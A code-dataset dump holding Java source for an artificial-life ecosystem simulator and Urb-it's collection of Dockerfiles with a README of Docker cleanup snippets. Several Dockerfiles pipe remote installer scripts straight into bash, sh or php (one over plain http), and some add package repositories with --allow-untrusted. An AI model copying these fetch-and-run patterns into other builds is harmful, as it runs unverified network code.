RESOURCE_NATURAL_COLOR,\n CREATURE_COLOR\n };\n\n public static final String[] BEHAVIOR_FIELDS = new String[]{\n CREATURE_BEHAVIOR\n };\n\n static {\n Arrays.sort(UNBOUNDED_FIELDS);\n Arrays.sort(ANGLE_FIELDS);\n Arrays.sort(POSITIVE_FIELDS);\n Arrays.sort(PROBABILITY_FIELDS);\n Arrays.sort(COLOR_FIELDS);\n Arrays.sort(BEHAVIOR_FIELDS);\n }\n\n private Map wrappedFieldProvider = new HashMap();\n\n public FieldsConfiguration(FieldMould... moulds) {\n for (FieldMould mould : moulds)\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n\n @SuppressWarnings(\"unchecked\")\n public FieldsConfiguration(Properties props) {\n for (String field : UNBOUNDED_FIELDS) {\n Double fieldValue = Double.parseDouble((String) props.get(field));\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n for (String field : ANGLE_FIELDS) {\n Double fieldValue = Double.parseDouble((String) props.get(field)) % Geometry.PI_2;\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n for (String field : POSITIVE_FIELDS) {\n Double fieldValue = Math.max(\n 0.0,\n Double.parseDouble((String) props.get(field)));\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n for (String field : PROBABILITY_FIELDS) {\n Double fieldValue = Math.max(\n 0.0,\n Math.min(\n 1.0,\n Double.parseDouble((String) props.get(field))));\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n for (String field : COLOR_FIELDS) {\n Color fieldValue = new Color(\n Integer.parseInt(\n (String) props.get(field),\n 16));\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n for (String field : BEHAVIOR_FIELDS) {\n try {\n BehaviorManager fieldValue = (BehaviorManager) Class.forName(\n (String) props.get(field)\n ).newInstance();\n FieldMould mould =\n isGene(field)\n ? new GeneFieldMould(field, StandardProvider(fieldValue), false)\n : new StateFieldMould(field, StandardProvider(fieldValue));\n wrappedFieldProvider.put(mould.getName(), mould);\n } catch (InstantiationException e) {\n e.printStackTrace();\n } catch (IllegalAccessException e) {\n e.printStackTrace();\n } catch (ClassNotFoundException e) {\n e.printStackTrace();\n }\n }\n }\n\n public void updateMould(FieldMould mould) {\n if (mould != null)\n wrappedFieldProvider.put(mould.getName(), mould);\n }\n\n public Object getValue(String traitName) {\n FieldMould mould = wrappedFieldProvider.get(traitName);\n if (mould == null)\n throw new IllegalStateException(traitName + \" is not bundled in this configuration\");\n return mould.getValue();\n }\n\n public FieldMould getField(String traitName) {\n return wrappedFieldProvider.get(traitName);\n }\n\n public boolean isMutable(Class species, String trait) {\n isGene(species, trait);\n try {\n GeneFieldMould mould = (GeneFieldMould) wrappedFieldProvider.get(trait);\n return mould.isMutable();\n } catch (Throwable e) {\n return false;\n }\n }\n\n public static void checkResourceConfiguration(FieldsConfiguration configuration) {\n for (String stateTrait : BUILD_PROVIDED_RESOURCE_STATE)\n if (!configuration.wrappedFieldProvider.containsKey(stateTrait))\n throw new IllegalStateException(\"Given configuration is incomplete to build a resource : \" +\n \"missing trait '\" + stateTrait + \"'\");\n\n for (String genotypeTrait : RESOURCE_GENOTYPE)\n if (!configuration.wrappedFieldProvider.containsKey(genotypeTrait))\n throw new IllegalStateException(\"Given configuration is incomplete to build a resource : \" +\n \"missing trait '\" + genotypeTrait + \"'\");\n }\n\n public static void checkCreatureConfiguration(FieldsConfiguration configuration) {\n for (String stateTrait : BUILD_PROVIDED_CREATURE_STATE)\n if (!configuration.wrappedFieldProvider.containsKey(stateTrait))\n throw new IllegalStateException(\"Given configuration is incomplete to build a creature : \" +\n \"missing trait '\" + stateTrait + \"'\");\n\n for (String genotypeTrait : CREATURE_GENOTYPE)\n if (!configuration.wrappedFieldProvider.containsKey(genotypeTrait))\n throw new IllegalStateException(\"Given configuration is incomplete to build a creature : \" +\n \"missing trait '\" + genotypeTrait + \"'\");\n }\n\n @Override\n public FieldsConfiguration clone() {\n try {\n return (FieldsConfiguration) super.clone();\n } catch (CloneNotSupportedException e) {\n throw new Error(\"unexpected error\");\n }\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/CreatureConstants.java\npackage org.blackpanther.ecosystem.agent;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic interface CreatureConstants\n extends AgentConstants {\n\n public static final String CREATURE_ENERGY = \"creature-energy\";\n public static final String CREATURE_COLOR = \"creature-color\";\n public static final String CREATURE_AGE = \"creature-age\";\n public static final String CREATURE_ORIENTATION = \"creature-orientation\";\n public static final String CREATURE_CURVATURE = \"creature-curvature\";\n public static final String CREATURE_SPEED = \"creature-speed\";\n\n public static final String CREATURE_NATURAL_COLOR = \"creature-natural-color\";\n public static final String CREATURE_MOVEMENT_COST = \"creature-movement-cost\";\n public static final String CREATURE_FECUNDATION_COST = \"creature-fecundation-cost\";\n public static final String CREATURE_FECUNDATION_LOSS = \"creature-fecundation-loss\";\n public static final String CREATURE_GREED = \"creature-greed\";\n public static final String CREATURE_FLEE = \"creature-flee\";\n public static final String CREATURE_SENSOR_RADIUS = \"creature-sensor-radius\";\n public static final String CREATURE_CONSUMMATION_RADIUS = \"creature-consummation-radius\";\n public static final String CREATURE_IRRATIONALITY = \"creature-irrationality\";\n public static final String CREATURE_MORTALITY = \"creature-mortality\";\n public static final String CREATURE_FECUNDITY = \"creature-fecundity\";\n public static final String CREATURE_MUTATION = \"creature-mutation\";\n public static final String CREATURE_ORIENTATION_LAUNCHER = \"creature-orientation-launcher\";\n public static final String CREATURE_SPEED_LAUNCHER = \"creature-speed-launcher\";\n public static final String CREATURE_BEHAVIOR = \"creature-behavior\";\n\n public static final String[] CREATURE_STATE = new String[]{\n CREATURE_AGE,\n CREATURE_COLOR,\n CREATURE_CURVATURE,\n CREATURE_ENERGY,\n AGENT_LOCATION,\n CREATURE_ORIENTATION,\n CREATURE_SPEED\n };\n\n public static final String[] CREATURE_GENOTYPE = new String[]{\n CREATURE_NATURAL_COLOR,\n CREATURE_MOVEMENT_COST,\n CREATURE_FECUNDATION_COST,\n CREATURE_FECUNDATION_LOSS,\n CREATURE_GREED,\n CREATURE_FLEE,\n CREATURE_SENSOR_RADIUS,\n CREATURE_CONSUMMATION_RADIUS,\n CREATURE_IRRATIONALITY,\n CREATURE_MORTALITY,\n CREATURE_FECUNDITY,\n CREATURE_MUTATION,\n CREATURE_ORIENTATION_LAUNCHER,\n CREATURE_SPEED_LAUNCHER,\n CREATURE_BEHAVIOR\n };\n\n /**\n * Trait provided to create an creature\n */\n public static final String[] BUILD_PROVIDED_CREATURE_STATE = new String[]{\n CREATURE_COLOR,\n CREATURE_CURVATURE,\n CREATURE_ENERGY,\n AGENT_LOCATION,\n CREATURE_ORIENTATION,\n CREATURE_SPEED\n };\n\n public static final String[] CUSTOMIZABLE_CREATURE_STATE = new String[]{\n CREATURE_COLOR,\n CREATURE_CURVATURE,\n CREATURE_ENERGY,\n CREATURE_ORIENTATION,\n CREATURE_SPEED\n };\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/Agent.java\npackage org.blackpanther.ecosystem.agent;\n\nimport org.blackpanther.ecosystem.Environment;\nimport org.blackpanther.ecosystem.event.AgentEvent;\nimport org.blackpanther.ecosystem.factory.fields.FieldsConfiguration;\n\nimport java.awt.geom.Point2D;\nimport java.io.Serializable;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.blackpanther.ecosystem.helper.Helper.require;\n\n/**\n *

\n * Component which represent an agent within an ecosystem.\n * It implements all basic features for an agent,\n * specific behaviour are left to subclasses\n *

\n *\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic abstract class Agent\n implements Serializable, Cloneable, CreatureConstants {\n\n /**\n * Serializable identifier\n */\n\n private static final long serialVersionUID = 6L;\n private static long idGenerator = 0;\n\n /*=========================================\n * GENOTYPE\n *=========================================\n */\n protected Map genotype = new HashMap();\n protected Map mutableTable = new HashMap();\n\n /*=========================================\n * PHENOTYPE\n *=========================================\n */\n protected Map currentState = new HashMap(AGENT_STATE.length);\n\n /*=========================================================================\n MISCELLANEOUS\n =========================================================================*/\n /**\n * Agent's area listener\n */\n private Long id = ++idGenerator;\n\n protected Agent(FieldsConfiguration config) {\n for (String stateTrait : BUILD_PROVIDED_AGENT_STATE)\n currentState.put(stateTrait, config.getValue(stateTrait));\n }\n\n abstract public void update(final Environment env);\n\n\n public void attachTo(Environment env) {\n require(env != null);\n env.getEventSupport().fireAgentEvent(AgentEvent.Type.BORN, this);\n }\n\n /**\n * Unset the current area listener if any\n */\n public void detachFromEnvironment(Environment env) {\n env.getEventSupport().fireAgentEvent(AgentEvent.Type.DEATH, this);\n }\n\n /* ================================================\n * GETTERS\n * ================================================\n */\n\n @SuppressWarnings(\"unchecked\")\n public T getGene(String geneName, Class geneType) {\n Object correspondingGene = genotype.get(geneName);\n if (correspondingGene != null) {\n if (geneType.isInstance(correspondingGene)) {\n return (T) correspondingGene;\n } else {\n throw new IllegalArgumentException(\n String.format(\"%s gene does not match given type, please check again\",\n geneName)\n );\n }\n } else {\n throw new IllegalArgumentException(String.format(\n \"'%s' parameter is not provided by the current configuration, \"\n + \"maybe you should register it before\",\n geneName\n ));\n }\n }\n\n @SuppressWarnings(\"unchecked\")\n public T getState(String stateName, Class stateType) {\n Object correspondingGene = currentState.get(stateName);\n if (correspondingGene != null) {\n if (stateType.isInstance(correspondingGene)) {\n return (T) correspondingGene;\n } else {\n throw new IllegalArgumentException(\n String.format(\"%s state does not match given type, please check again\",\n stateName)\n );\n }\n } else {\n throw new IllegalArgumentException(String.format(\n \"'%s' parameter is not provided by the current configuration, \"\n + \"maybe you should register it before\",\n stateName\n ));\n }\n }\n\n public boolean isMutable(String genotypeTrait) {\n return mutableTable.get(genotypeTrait);\n }\n\n abstract public double getEnergy();\n\n\n /**\n * Get current agent's location in its environment\n *\n * @return current agent's position\n */\n public Point2D getLocation() {\n return getState(AGENT_LOCATION, Point2D.class);\n }\n\n /*=========================================================================\n * SETTERS\n * Visibility is set to package because\n * they are meant to be modified by nothing except the behaviour manager\n *=========================================================================\n */\n\n public void setLocation(double abscissa, double ordinate) {\n currentState.put(AGENT_LOCATION, new Point2D.Double(abscissa, ordinate));\n }\n\n abstract public void setEnergy(Double energy);\n\n @Override\n public Agent clone() {\n try {\n Agent copy = (Agent) super.clone();\n copy.currentState = new HashMap(this.currentState);\n copy.genotype = new HashMap(this.genotype);\n copy.mutableTable = new HashMap(this.mutableTable);\n return copy;\n } catch (CloneNotSupportedException e) {\n throw new Error(e);\n }\n }\n\n @Override\n public String toString() {\n return super.toString() + \"[Agent\" + Long.toHexString(id) + \"]\";\n }\n}/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EnvironmentEvent.java\npackage org.blackpanther.ecosystem.event;\n\nimport org.blackpanther.ecosystem.Environment;\n\nimport java.util.EventObject;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic abstract class EnvironmentEvent\n extends EventObject {\n\n public EnvironmentEvent(Environment source) {\n super(source);\n }\n\n public Environment getSource() {\n return (Environment) super.getSource();\n }\n}\n/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/line/AgentLine.java\npackage org.blackpanther.ecosystem.line;\n\nimport org.blackpanther.ecosystem.agent.Creature;\nimport org.blackpanther.ecosystem.behaviour.BehaviorManager;\n\nimport java.awt.*;\nimport java.awt.geom.Line2D;\nimport java.awt.geom.Point2D;\n\nimport static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_NATURAL_COLOR;\n\n/**\n * @author \n * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011\n */\npublic class AgentLine\n extends Line2D.Double{\n\n private Color genotypeColor;\n private Color phenotypeColor;\n private Class species;\n private java.lang.Double power;\n\n public AgentLine(Point2D x, Point2D y,\n Creature agent) {\n super(x, y);\n this.genotypeColor = agent.getGene(CREATURE_NATURAL_COLOR,Color.class);\n this.phenotypeColor = agent.getColor();\n this.species = agent.getBehaviour().getClass();\n this.power = agent.getEnergy();\n }\n\n public Color getGenotypeColor() {\n return genotypeColor;\n }\n\n public Color getPhenotypeColor() {\n return phenotypeColor;\n }\n\n public Class getSpecies() {\n return species;\n }\n\n public java.lang.Double getPower() {\n return power;\n }\n}\n"},"directory_id":{"kind":"string","value":"820517fa61efc666f030a90a465840d642bc543e"},"languages":{"kind":"list like","value":["Java","Maven POM","INI"],"string":"[\n \"Java\",\n \"Maven POM\",\n \"INI\"\n]"},"num_files":{"kind":"number","value":40,"string":"40"},"repo_language":{"kind":"string","value":"Java"},"repo_name":{"kind":"string","value":"theblackunknown/creative-ecosystems"},"revision_id":{"kind":"string","value":"f86adb5c593401fa541def86948906c6381daad5"},"snapshot_id":{"kind":"string","value":"a47cf77c21100f0fb1204cb4e16dacf1491f34fc"}}},{"rowIdx":114,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"FROM alpine:3.4\n\nMAINTAINER Urb-it AB <>\n\nENV SUPERVISOR_VERSION=3.3.3\n\nADD ./worker.conf /etc/supervisord.conf\nCOPY requirements.txt .\n\n# Install dependencies\nRUN echo http://dl-4.alpinelinux.org/alpine/edge/testing \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/main \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/edge/community \\\n>> /etc/apk/repositories \\\n&& apk --no-cache --update add \\\n openssl-dev \\\n openssl \\\n ca-certificates \\\n python2 \\\n python3 \\\n&& update-ca-certificates \\\n&& python3 -m ensurepip \\\n&& python -m ensurepip \\\n&& rm -r /usr/lib/python*/ensurepip \\\n&& pip3 install --upgrade pip setuptools \\\n&& pip3 install -r requirements.txt \\\n&& pip install \\\n supervisor==$SUPERVISOR_VERSION \\\n supervisor-stdout \\\n&& rm -r /root/.cache \\\n&& apk --no-cache del \\\n wget \\\n openssl-dev \\\n&& rm -rf /var/cache/apk/* /tmp/*\n\nWORKDIR /usr/local/worker\n\nENTRYPOINT [\"/bin/sh\", \"-c\", \"supervisord\", \"--nodaemon\" ,\"--configuration /etc/supervisord.conf\"]\nFROM logstash:2\n\nMAINTAINER <>\n\nRUN plugin install logstash-output-amazon_es\n\nRUN apt-get update && apt-get install -y --no-install-recommends gettext-base \\\n\t&& rm -rf /var/lib/apt/lists/*\n\nCOPY ims.tpl.conf /config/ims.tpl.conf\nCOPY init.sh /init.sh\nRUN chmod +x /init.sh\n\nCMD /init.shFROM openjdk:8-jre-buster\n\nLABEL maintainer=\"\"\n\n# Environment variables\nENV YARN_VERSION 1.0.2\n\n# Add nodejs repo\nRUN curl -sL https://deb.nodesource.com/setup_10.x | bash -\n\n# Install & clean up dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n\tocaml \\\n\tlibelf-dev \\\n\tnodejs \\\n\tgit \\\n\tbuild-essential \\\n\t&& npm i -g \\\n\tyarn@$YARN_VERSION \\\n\t&& rm -rf /var/lib/apt/lists/* /var/cache/apt/*\n\n# Set /usr/bin/python to be v3.7\nRUN update-alternatives --install /usr/bin/python python /usr/bin/python3.7 1\n\nWORKDIR /home\nFROM php:7.3-alpine3.13\n\nMAINTAINER Urbit <>\n\n# Add configs\nADD ./prooph.ini /usr/local/etc/php/conf.d\nADD ./worker.conf /etc/supervisor/worker.conf\n\n# Environment variables\nENV ALPINE_VERSION 3.13\nENV PHP_API_VERSION 20160303\nENV PYTHON_VERSION=3.8.10-r0\nENV PY_PIP_VERSION=20.3.4-r0\nENV SUPERVISOR_VERSION=4.2.4\nENV MONGODB_VERSION=1.6.1\nENV PHP_AMQP_VERSION=1.9.4\n\nARG UID=1000\nARG GID=2000\n\n# Install & clean up dependencies\nRUN apk --no-cache --update --repository http://dl-cdn.alpinelinux.org/alpine/v$ALPINE_VERSION/main/ add \\\n autoconf \\\n build-base \\\n ca-certificates \\\n python3=$PYTHON_VERSION \\\n py3-pip=$PY_PIP_VERSION \\\n curl \\\n openssl \\\n openssl-dev \\\n rabbitmq-c \\\n rabbitmq-c-dev \\\n libtool \\\n icu \\\n icu-libs \\\n icu-dev \\\n libwebp\n\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/v$ALPINE_VERSION/community/ add \\\n php7-sockets \\\n php7-zlib \\\n php7-intl \\\n php7-opcache \\\n php7-bcmath \\\n&& docker-php-ext-configure intl \\\n&& pecl install \\\n mongodb-$MONGODB_VERSION \\\n amqp-$PHP_AMQP_VERSION \\\n&& docker-php-ext-install \\\n sockets \\\n intl \\\n opcache \\\n bcmath \\\n&& docker-php-ext-enable \\\n mongodb \\\n amqp \\\n&& apk --no-cache del \\\n wget \\\n icu-dev \\\n tar \\\n autoconf \\\n build-base \\\n rabbitmq-c-dev \\\n libtool \\\n&& rm -rf /var/cache/apk/* /tmp/* ./newrelic-php5-$NEWRELIC_VERSION-linux-musl*\n\n# Install supervisor\nRUN pip3 install supervisor==$SUPERVISOR_VERSION\n\nWORKDIR /var/www/application\n\nRUN addgroup -g $GID -S prooph || true \\\n && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G prooph prooph || true\n\nRUN chown -R prooph:prooph /var/www/application\n\nUSER prooph\nRUN touch /var/www/application/supervisord.log\nCMD sh -c \"supervisord --nodaemon --configuration /etc/supervisor/worker.conf\"\nFROM alpine:3.4\n\nMAINTAINER <>\nENV REFRESHED_AT 20160823\n\nENV S3FS_VERSION 1.79\nRUN apk --update --no-cache --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n fuse \\\n alpine-sdk \\\n linux-pam \\\n automake \\\n autoconf \\\n libxml2-dev \\\n shadow \\\n fuse-dev \\\n curl-dev \\\n vsftpd \\\n && wget -qO- https://github.com/s3fs-fuse/s3fs-fuse/archive/v${S3FS_VERSION}.tar.gz|tar xz \\\n && cd s3fs-fuse-${S3FS_VERSION} \\\n && ./autogen.sh \\\n && ./configure --prefix=/usr \\\n && make \\\n && make install \\\n && rm -rf /var/cache/apk/*\n\nRUN ln -sf /dev/stdout /var/log/vsftpd.log\n\nCOPY fuse.conf /etc/fuse.conf\nCOPY vsftpd.conf /etc/vsftpd/vsftpd.conf\nCOPY ssl.conf /etc/vsftpd/ssl.conf\nCOPY init.sh /init.sh\nRUN chmod +x /init.sh\nRUN addgroup ftpuser\n\nCMD /init.sh && s3fs ${VSFTP_S3_BUCKET}:/ ${VSFTP_S3_MOUNTPOINT} -o endpoint=${VSFTP_S3_REGION} -o allow_other -o umask=0002 && vsftpd /etc/vsftpd/vsftpd.conf\nFROM quay.io/urbit/gunicorn-python:latest\n\nMAINTAINER <>\n\nCOPY requirements.txt .\nCOPY pep8 /root/.config/pep8\nCOPY flake8 /root/.config/flake8\n# Install dependencies\n\nRUN apk --update add --virtual build-dependencies \\\n build-base \\\n --update-cache \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/community/ --allow-untrusted \\\n --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted \\\n && pip3 install -r requirements.txt\n\n# Remove dependencies & clean up\nRUN apk --no-cache del \\\n wget \\\n build-dependencies \\\n&& rm -rf /var/cache/apk/* /tmp/*\nFROM centos:7\n\nMAINTAINER <>\n\nWORKDIR /home/fluent\nENV PATH /home/fluent/.gem/ruby/2.3.0/bin:$PATH\n\nUSER root\n\n# Ensure there are enough file descriptors for running Fluentd.\nRUN ulimit -n 65536\n\n# Copy the Fluentd configuration file.\nCOPY td-agent.conf /etc/td-agent/td-agent.conf\n\n# Install dependencies\nRUN yum update -y \\\n && yum groupinstall -y development \\\n && yum install -y sudo ruby-devel \\\n \n # Install fluentd\n && curl -sSL https://toolbelt.treasuredata.com/sh/install-redhat-td-agent3.sh | sh \\\n\n # Change the default user and group to root.\n # Needed to allow access to /var/log/docker/... files.\n && sed -i -e \"s/USER=td-agent/USER=root/\" -e \"s/GROUP=td-agent/GROUP=root/\" /etc/init.d/td-agent \\\n\n # http://www.fluentd.org/plugins\n && td-agent-gem install --no-document \\\n fluent-plugin-kubernetes_metadata_filter:2.3.0 \\\n fluent-plugin-loggly:0.0.9 \\\n fluent-plugin-grok-parser:2.1.4 \\\n fluent-plugin-record-modifier:0.5.0 \\\n fluent-plugin-mutate_filter:0.2.0 \\\n fluent-plugin-multi-format-parser:1.0.0 \\\n fluent-plugin-elasticsearch:3.5.2 \\\n fluent-plugin-flatten-hash:0.5.1 \\\n && yum remove -y sudo \\\n && rm -rf /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/json-1.8.1\n\nEXPOSE 24284\nEXPOSE 5140/udp\n\n# Run the Fluentd service.\nCMD [\"td-agent\"]\nFROM php:7.1-cli-alpine3.10\n\nMAINTAINER <>\n\nENV RABBITMQ_VERSION v0.8.0\nENV PHP_AMQP_VERSION v1.9.4\nENV PHP_REDIS_VERSION 3.1.4\nENV PHP_MONGO_VERSION 1.6.1\n\n# persistent / runtime deps\nENV PHPIZE_DEPS \\\n autoconf \\\n cmake \\\n file \\\n g++ \\\n gcc \\\n libc-dev \\\n pcre-dev \\\n make \\\n git \\\n pkgconf \\\n re2c\n\nRUN apk add --no-cache --virtual .persistent-deps \\\n # for intl extension\n icu-dev \\\n # for mcrypt extension\n libmcrypt-dev \\\n # for mongodb\n libressl \\\n libressl-dev \\\n # for zero mq\n libsodium-dev \\\n # for postgres\n postgresql-dev \\\n # for soap\n libxml2-dev \\\n zeromq\n\nRUN set -xe \\\n && apk add --no-cache --virtual .build-deps \\\n $PHPIZE_DEPS \\\n openssl-dev \\\n zeromq-dev \\\n && docker-php-ext-configure bcmath --enable-bcmath \\\n && docker-php-ext-configure intl --enable-intl \\\n && docker-php-ext-configure pcntl --enable-pcntl \\\n && docker-php-ext-configure pdo_mysql --with-pdo-mysql \\\n && docker-php-ext-configure mbstring --enable-mbstring \\\n && docker-php-ext-configure soap --enable-soap \\\n && docker-php-ext-install \\\n bcmath \\\n intl \\\n pcntl \\\n pdo_mysql \\\n mbstring \\\n soap \\\n && git clone --branch ${RABBITMQ_VERSION} https://github.com/alanxz/rabbitmq-c.git /tmp/rabbitmq \\\n && cd /tmp/rabbitmq \\\n && mkdir build && cd build \\\n && cmake .. \\\n && cmake --build . --target install \\\n # workaround for linking issue\n && cp -r /usr/local/lib64/* /usr/lib/ \\\n && git clone --branch ${PHP_AMQP_VERSION} https://github.com/pdezwart/php-amqp.git /tmp/php-amqp \\\n && cd /tmp/php-amqp \\\n && phpize \\\n && ./configure \\\n && make \\\n && make install \\\n && git clone --branch ${PHP_REDIS_VERSION} https://github.com/phpredis/phpredis /tmp/phpredis \\\n && cd /tmp/phpredis \\\n && phpize \\\n && ./configure \\\n && make \\\n && make install \\\n && make test \\\n && git clone --branch ${PHP_MONGO_VERSION} https://github.com/mongodb/mongo-php-driver /tmp/php-mongo \\\n && cd /tmp/php-mongo \\\n && git submodule sync && git submodule update --init \\\n && phpize \\\n && ./configure \\\n && make \\\n && make install \\\n && make test \\\n && apk del .build-deps \\\n && rm -rf /tmp/* \\\n && rm -rf /app \\\n && mkdir /app\n\n# Copy configuration\nCOPY config/php-cli.ini /usr/local/etc/php/php.ini\nCOPY config/php7.ini /usr/local/etc/php/conf.d/\nCOPY config/amqp.ini /usr/local/etc/php/conf.d/\nCOPY config/redis.ini /usr/local/etc/php/conf.d/\nCOPY config/mongodb.ini /usr/local/etc/php/conf.d/\n\n# Install dependencies\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n git \\\n curl \\\n nodejs \\\n&& apk --no-cache del \\\n wget\n\nWORKDIR /app\n\n# Install Composer & dependencies\nRUN curl -sSL http://getcomposer.org/installer | php \\\n&& mv composer.phar /usr/local/bin/composer \\\n&& chmod +x /usr/local/bin/composer \\\n&& composer global require \"hirak/prestissimo:^0.3\"\n\n# Set up the application directory\nVOLUME [\"/app\"]\nFROM golang:1.8-alpine\n\nENV PATH /go/bin:$PATH\n\n# Install dependencies\nRUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \\\n curl \\\n glide \\\n git \\\n make \\\n&& apk --no-cache del \\\n wget\n\nWORKDIR /go\nUrb-it Docker Images\n====================\n\nThese are Urb-it's Docker images, used mainly for internal development.\n\nquay.io builds and tags these images with the \"latest\" tag when the master branch is updated\nIf you want a specific tag (i.e, a version number) you have to build, tag and push the image manually\n\n## Docker Snippets\nUseful snippets for building, tagging, cleanups etc.\n\n#### Build and tag a docker image\n```\ndocker build {FOLDER_CONTAINING_DOCKERFILE} -t {repository}/{imagename}:{tag}\ndocker build ./ -t quay.io/urbit/fluentd-loggly:1.2\n```\n\n#### Push a tagged docker image to a repository (i.e, quay.io)\n```\ndocker push {repository}/{imagename}:{tag}\ndocker push quay.io/urbit/fluentd-loggly:1.2\n```\n\n#### Stop all containers\n```\ndocker stop $(docker ps -a -q)\n```\n```\ndocker ps -a -q | xargs docker stop\n```\n\n#### Remove all containers\n```\ndocker rm $(docker ps -a -q)\n```\n```\ndocker ps -a -q | xargs docker rm\n```\n\n#### Remove all images\n```\ndocker rmi $(docker images -q)\n```\n```\ndocker images -q | xargs docker rmi\n```\n\n#### Remove orphaned volumes\n```\ndocker volume rm $(docker volume ls -qf dangling=true)\n```\n```\ndocker volume ls -qf dangling=true | xargs docker volume rm\n```\n\n#### Remove exited containers\n```\ndocker rm -v $(docker ps -a -q -f status=exited)\n```\n```\ndocker ps -a -q -f status=exited | xargs docker rm -v\n```\n\n#### Stop & Remove all containers with base image name \n```\ndocker rm $(docker stop $(docker ps -a -q --filter ancestor=))\n```\n```\ndocker ps -a -q --filter ancestor= | xargs docker stop | xargs docker rm\n```\n\n#### Remove dangling images\n```\ndocker rmi $(docker images -f \"dangling=true\" -q)\n```\n```\ndocker images -f \"dangling=true\" -q | xargs docker rmi\n```\n\n#### Cleanup Volumes\n```\ndocker run -v /var/run/docker.sock:/var/run/docker.sock \\\n -v /var/lib/docker:/var/lib/docker \\\n --rm martin/docker-cleanup-volumes\n```\n\n#### Remove all DinD containers\n```\ndocker rm $(docker stop $(docker ps -a -q --filter ancestor=urbit/dind-jenkins))\n```\n\n#### Cleanup exited + orphaned + DinD\n```\ndocker ps -a -q -f status=exited | xargs docker rm -v && \\\ndocker volume ls -qf dangling=true | xargs docker volume rm && \\\ndocker ps -a -q --filter ancestor=urbit/dind-jenkins | xargs docker stop | xargs docker rm\n```\n\n#### Docker-outside-of-Docker\n```\ndocker run -d -v /var/run/docker.sock:/var/run/docker.sock \\\n -v $(which docker):/usr/bin/docker -p 8080:8080 my-dood-container\n```\n\n#### Docker-inside-Docker\n```\ndocker run --privileged --name my-dind-container -d docker:dind\n```\n```\ndocker run --privileged --name my-dind-container -d urbit/dind-jenkins:latest\n```\npymongo[tls]\npika==0.11.0\nrequests==2.21.0\nredlock-py==1.0.8\nredis==2.10.6\nFROM openresty/openresty:1.17.8.2-5-alpine\n\nARG UID=1000\nARG GID=2000\n\nRUN deluser nginx || true \\\n && delgroup nginx || true \\\n && addgroup -g $GID -S nginx || true \\\n && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G nginx nginx || true\n\n# Copy files & set permissions\nCOPY nginx.conf /usr/local/openresty/nginx/conf/\nCOPY init-d-nginx /etc/init.d/nginx\n\nRUN mkdir -p /usr/local/api-gateway/nginx/conf.d && \\\n mkdir -p /usr/local/api-gateway/nginx/upstream && \\\n chmod +x /etc/init.d/nginx\n\n# Install dependencies\nRUN echo http://dl-4.alpinelinux.org/alpine/3.8/testing \\\n>> /etc/apk/repositories \\\n&& echo http://dl-4.alpinelinux.org/alpine/3.8/main \\\n>> /etc/apk/repositories \\\n&& apk --no-cache --update add \\\n nettle nettle-dev gcc lua5.1-dev curl perl luarocks5.1 openssl-dev tar g++ make openssl cmake tzdata \\\n&& ln -s /usr/bin/luarocks-5.1 /usr/bin/luarocks\n\n# mongo-c-driver libbson 1.5.2\nRUN cd /tmp \\\n&& curl -L -O https://github.com/mongodb/mongo-c-driver/releases/download/1.6.0/mongo-c-driver-1.6.0.tar.gz \\\n&& tar xzf mongo-c-driver-1.6.0.tar.gz \\\n&& cd mongo-c-driver-1.6.0 \\\n&& ./configure --disable-automatic-init-and-cleanup \\\n&& make clean \\\n&& make \\\n&& make clean \\\n&& make install .\n\nRUN /usr/bin/luarocks install mongorover \\\n&& /usr/bin/luarocks install rapidjson \\\n&& /usr/bin/luarocks install date \\\n&& /usr/bin/luarocks install luatz\n# Cleanup\nRUN apk --no-cache del wget lua5.1-dev openssl-dev tar luarocks5.1 g++ make cmake \\\n&& rm -rf /var/cache/apk/* /tmp/*\n# Install opm packages\nRUN opm install chunpu/shim pintsized/lua-resty-http sumory/lor bungle/lua-resty-nettle=1.5 SkyLothar/lua-resty-jwt\n\nWORKDIR /usr/local/api-gateway\n\nRUN chown -R $UID:0 /usr/local/openresty/nginx\n\nUSER 